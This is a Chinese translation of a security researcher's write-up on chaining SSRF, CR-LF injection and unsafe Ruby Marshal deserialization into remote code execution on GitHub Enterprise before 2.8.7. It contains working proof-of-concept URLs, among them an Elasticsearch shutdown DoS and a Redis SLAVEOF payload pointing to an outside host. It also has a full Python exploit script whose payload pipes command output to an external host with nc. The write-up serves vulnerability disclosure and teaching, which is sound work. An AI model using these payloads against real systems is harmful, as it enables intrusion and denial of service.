我是如何在github企业版本上通过ssrf漏洞导致命令执行的?

本文讲的是我是如何在github企业版本上通过ssrf漏洞导致命令执行的?在我上一篇文章中,我提到了以后攻击的新目标-github企业版,同样也提到了如何去除混淆的ruby代码,并在其中寻找sql注入。再次之后,我就开始阅读很多大牛挖掘github企业版的思路

通过这些挖掘思路,我非常懊恼当时为啥我没挖到这些洞,因此我决定自己挖到一个很高危的漏洞。

漏洞

在我检查github企业版本的架构时,我的知觉告诉我在这个系统内部一定有很多服务,如果我能够访问到这些服务,那么可能会发现很多有趣的东西。
所以,我现在首要的就是挖掘一个ssrf漏洞。

第一个漏洞:无害的ssrf

当我在测试github企业版本时,发现一个叫做webhook的有趣的函数,当发生特定的git请求时,它可以自定义http回调。
你可以生成一个类似于下方url的回调:

https://<host>/<user>/<repo>/settings/hooks/new

通过提交文件进行触发,因此,github企业版本将通过http请求通知你。payload以及请求如下:

payload:

http://orange.tw/foo.php

回调请求:

POST /foo.php HTTP/1.1
Host: orange.tw
Accept: */*
User-Agent: GitHub-Hookshot/54651ac
X-GitHub-Event: ping
X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f
content-type: application/x-www-form-urlencoded
Content-Length: 8972


payload=...

它会使用ruby gem faraday获取外部资源,并且通过gem faraday-restrict-ip-addresses方法阻止用户访问内部服务。

不过gem似乎是使用黑名单机制进行过滤的,定义的黑名单是通过RFC 3986机制进行规定的,在linux中可以通过0代替localhost,所以我们可以简单的绕过这一过滤禁止,PoC如下:

http://0/

好的,现在我们已经挖掘到了ssrf漏洞,不过我们还是不能做任何事情,为什么呢?

在这里的ssrf中存在很多限制,比如:

1. 只能允许POST方法提交数据
2. 只允许http,https协议
3. 不存在302跳转
4. 在faraday中没有CR-LF注入
5. 不能控制post数据值,以及http访问头。

我们唯一可以做的事情就是控制目录路径。
但是这里的ssrf作用还是有的,它可以进行DoS攻击。

在9200端口绑定了一个Elaticsearch服务,并且Elaticsearch中的shutdown命令不会在意post提交的数据是什么,因此,你可以对它进行关机~

拒绝服务PoC:

http://0:9200/_shutdown/

第二个漏洞:内网中Graphite的ssrf

我们现在已经挖掘到了一个ssrf漏洞,那么我们接下来应该怎么做呢?
下一步继续探索内网中是不是有什么有趣的服务?

这会是一个非常庞大的工作,内网中存在很多http服务,以及每个服务都是基于不同语言实现的,比如:c/c++,python,ruby,go…

通过很多天的探索,我发现内部8000端口有一个名为Graphite的服务。Graphite是一个高度可拓展的实时图形系统。github企业版本通过这一服务对用户显示一些数据。

Graphite是基于python实现的,并且已经开源,地址为:https://github.com/graphite-project/graphite-web

通过审计这一服务的源代码,我又发现了这一服务的ssrf漏洞,这一ssrf漏洞是没有限制的。
在webapps/graohite/composer/views.py中:

def send_email(request):
    try:
        recipients = request.GET['to'].split(',')
        url = request.GET['url']
        proto, server, path, query, frag = urlsplit(url)
        if query: path += '?' + query
        conn = HTTPConnection(server)
        conn.request('GET',path)
        resp = conn.getresponse()
        ...

你可以发现Graphite通过捕获用户输入的url,直接访问它。所以我们可以通过获得的第一个ssrf进一步利用第二个获得ssrf,将他们结合形成一个ssrf利用链。

在ssrf利用链payload如下:

http://0:8000/composer/send_email?to=orange@nogg&url=http://orange.tw:12345/foo

第二个ssrf的请求如下:

$ nc -vvlp 12345
...

GET /foo HTTP/1.1
Host: orange.tw:12345
Accept-Encoding: identity

现在我们已经将基于POST的ssrf转换为基于GET方法的ssrf。但是还是不能做任何有趣的事情,那么继续吧~

第三个漏洞 python中CR-LF注入

就像你看到的那样,Graphite使用的是httplib.HTTPConnection得到响应源码的。经过一些尝试,我发现了在httplib.HTTPconnection中存在一个CR-LF注入。因此,我们可以在http协议中写入任意payload。
CR-LF 注入PoC:

http://0:8000/composer/send_email?to=orange@nogg&url=http://127.0.0.1:12345/%0D%0Ai_am_payload%0D%0AFoo:

虽然这种攻击看起来并不是很有用,但是为ssrf链可用性带来了巨大的飞跃。举个例子,如果我们需要对redis进行操作,可以使用如下payload:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:6379/%0ASLAVEOF%20orange.tw%206379%0A

附:SLAVEOF是一个非常好的命令,你可以使用这一命令进行外部流量管理。当你面对一些Blind-SSRF时,这是一个有用的技巧!

这看起来很棒,但是在这里同样还是有一些限制:

1. 对Mysql,SSL,SSH这样的握手协议失效
2. 由于python2版本的原因,我们发送payload长度必须在0-0x8f字节之间。

顺便说一下,在http中我们可以通过很多方法进行协议调用。在我的幻灯片中,我还展示了如何使用Linux Glibc的功能使用SSL SNI协议,以及绕过python CVE-2016-5699。

第四个漏洞 不安全的反序列化

现在,我们已经有能力在http请求中使用其他协议,那么下一个问题是我们应该使用什么协议呢?

我花了很多时间去了解如果我控制了redis或者Memcached可以触发什么漏洞。

Ruby对象。查阅之后我发现github企业版本使用ruby gem memcached方法去操作缓存,并且缓存由Marshal包装。

这对我来说是一个很好的消息,每个人都知道Marshal是很危险的。(如果你不知道,那我建议你看一下marshaling pickles这一个ppt)

所以,至此为止,我们的目标已经明确。
使用ssrf利用链将恶意ruby对象存储到Memcached.当下一次git得到缓存时,memcached会自动对ruby代码反序列化。最后远程执行代码!

Rails控制台中不安全的Marshal:

irb(main):001:0> GitHub.cache.class.superclass
=> Memcached::Rails

irb(main):002:0> GitHub.cache.set("nogg", "hihihi")
=> true

irb(main):003:0> GitHub.cache.get("nogg")
=> "hihihi"

irb(main):004:0> GitHub.cache.get("nogg", :raw=>true)
=> "x04bI"vhihihix06:x06ET"

irb(main):005:0> code = "`id`"
=> "`id`"

irb(main):006:0> payload = "x04x08" + "o"+":x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"x07" + ":x0E@instance" + "o"+":x08ERB"+"x07" + ":x09@src" + Marshal.dump(code)[2..-1] + ":x0c@lineno"+ "ix00" + ":x0C@method"+":x0Bresult"
=> "u0004bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxya:u000E@instanceo:bERBa:t@srcI"t`id`u0006:u0006ET:f@linenoiu0000:f@method:vresult"

irb(main):007:0> GitHub.cache.set("nogg", payload, 60, :raw=>true)
=> true

irb(main):008:0> GitHub.cache.get("nogg")
=> "uid=0(root) gid=0(root) groups=0(root)n"

现在我们总结一下攻击步骤:

1. 第一个ssrf-绕过webhook现有的保护
2. 第二个ssrf-获得Graphite服务中的ssrf
3. 将两个ssrf进行嵌套,形成ssrf链
4. ssrf执行链中的CR-LF注入
5. 插入恶意marshal对象
6. 执行代码

利用过程:

我是如何在github企业版本上通过ssrf漏洞导致命令执行的?

最终exp以及视频你可以在gist以及youtube上找到:

#!/usr/bin/python
from urllib import quote

''' set up the marshal payload from IRB
code = "`id | nc orange.tw 12345`"
p "x04x08" + "o"+":x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"x07" + ":x0E@instance" + "o"+":x08ERB"+"x07" + ":x09@src" + Marshal.dump(code)[2..-1] + ":x0c@lineno"+ "ix00" + ":x0C@method"+":x0Bresult"
'''
marshal_code = 'x04x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxyx07:x0e@instanceo:x08ERBx07:t@srcI"x1e`id | nc orange.tw 12345`x06:x06ET:x0c@linenoix00:x0c@method:x0bresult'

payload = [
    '',
    'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code),
    marshal_code,
    '',
    ''
]

payload = map(quote, payload)
url = 'http://0:8000/composer/send_email?to=orange@chroot.org&url=http://127.0.0.1:11211/'

print "nGitHub Enterprise < 2.8.7 Remote Code Execution by orange@chroot.org"
print '-'*10 + 'n'
print url + '%0D%0A'.join(payload)
print '''
Inserting WebHooks from:
https://ghe-server/:user/:repo/settings/hooks
Triggering RCE from:
https://ghe-server/search?q=ggggg&type=Repositories
'''

修复

github已经做了一定的修复,以防止相关的问题。

1.增加Gem faraday-restrict-ip-addresses中限制ip地址
2.应用了一个Django中间插件,阻止用户到达http://127.0.0.1:8000/render/以外的地方
3.增强了iptables规则,阻止访问模式的User-Agent: GitHub-Hookshot

$ cat /etc/ufw/before.rules
...
-A ufw-before-input -m multiport -p tcp ! --dports 22,23,80,81,122,123,443,444,8080,8081,8443,8444 -m recent --tcp-flags PSH,ACK PSH,ACK --remove -m string --algo bm --string "User-Agent: GitHub-Hookshot" -j REJECT --reject-with tcp-reset
...



原文发布时间为:2017年7月30日
本文作者:xnianq
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
上一篇:Serverless 实战 —— 函数计算 + Typescript 实践


下一篇:使用反向代理,实现快速配置、重启 Docker 守护进程